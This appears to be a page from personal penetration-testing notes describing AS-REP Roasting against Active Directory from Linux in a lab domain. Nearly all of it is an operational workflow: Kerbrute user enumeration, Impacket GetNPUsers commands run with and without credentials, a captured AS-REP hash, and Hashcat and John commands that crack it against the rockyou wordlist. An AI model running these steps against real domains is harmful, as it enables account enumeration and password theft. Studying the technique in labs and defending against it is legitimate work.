> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/active-directory/kerberos/as-rep-roasting-from-linux.md).
# AS-REP Roasting from Linux
Active Directory security notes for AS-REP Roasting from Linux, covering enumeration, Kerberos, credentials, ACL abuse, lateral movement, exploitation workflow, and validation steps.
### Creating a list of users
We create a file:
{% code overflow="wrap" %}
```bash
user1
user2
beverlie.carmel
Administrador
astrid.niki
```
{% endcode %}
### Verification with Kerbrute
{% code overflow="wrap" %}
```bash
kerbrute userenum -d whoami.local --dc dc01.whoami.local users
```
{% endcode %}
In Wireshark, we can observe that classic users query preauthentication, while `astrid.niki` can return a usable response.
{% code overflow="wrap" %}
```bash
fba3c5e54d99add970100f90d1de4f0838e6dc3338dad6eace2abdb8f808d895c619a11291ca8e1b0bd9a914bb2c36b306b471bce9e84db1fe348df08287e76d07857f9633222f19e8a5912cd88ce2cec025b0bcc04f81c35ca215df43e366de5270b0b4ad6188311402e058efc7a0e967c2235f97c74c4e0c0fdf072cb41e04496f53cfebe36e25538027c092469b3415f7493017a7824c71d73fcc7f2da6f04555393356e6204277ef74d15d081401bc0dc8498df074e14607c276da9e05314102eeae6f676d26c91312018cf03d25387c4fe197892cf14f7010609c78d55f4c3b0abb665e261001ff1c9ea0d6ff36749d6dc3673e2ab3d0114ec33b905114affe735543051a356ba87fb615a8a281
```
{% endcode %}
### Automated mining with GetNPUsers
Impacket's `GetNPUsers.py` tool automates AS-REP Roasting.
Without valid credentials:
{% code overflow="wrap" %}
```bash
GetNPUsers.py whoami.local/ -dc-ip 172.16.0.100 -users users -format john -outputfile asrep2.hash
```
{% endcode %}
This command:
* reads users from file `users`;
* contacts the domain controller;
* recovers AS-REP hashes from vulnerable accounts;
* save the result in John format.
{% code overflow="wrap" %}
```powershell
$krb5asrep$astrid.niki@WHOAMI.LOCAL:bc9843638ed7c638b55662f327b2540f$a8fb43644825579cd42a645a07f8d90518ca48a637803277bea0af640a3c21ce529f9d4c560084c765b0b64437d57b3d9fa5271d3efd026633bb8d9b5ccafa07d8e52682437b74f69e72307884cbd2b35fa3a3c6fa3cc236ed6d01d7ae125ec5b0e94f3f2e9143c170bd95dc3cebad2e60c5edf2eb7d3b873f2084aaf1661aa66693d0c51b0080f61fa04801a59fef0c356b212e541e036a40e67ca5e30a12e6ae8bbc54dac3144e815635f0c5785c27b39e9a5cdc3c653f46cc9ebaf59ddcc5ebee06ab7b7057fa27189a8c502e8db8d19c83d493b43ba80b08629ff7e26be9241bd75aec33824f2b484c5d
```
{% endcode %}
### Crack with Hashcat
For Hashcat, Kerberos AS-REP mode is 18200:
{% code overflow="wrap" %}
```bash
hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt
```
{% endcode %}
### Crack with John
```bash
john --wordlist=/usr/share/wordlists/rockyou.txt asrep2.hash
```
### With valid credentials
If you have the credentials of a domain user, you can also query roastable AS-REPs for the users concerned:
{% code overflow="wrap" %}
```bash
GetNPUsers.py whoami.local/user1:Password123 -dc-ip 172.16.0.100 -format john -outputfile asrep2.hash
```
{% endcode %}
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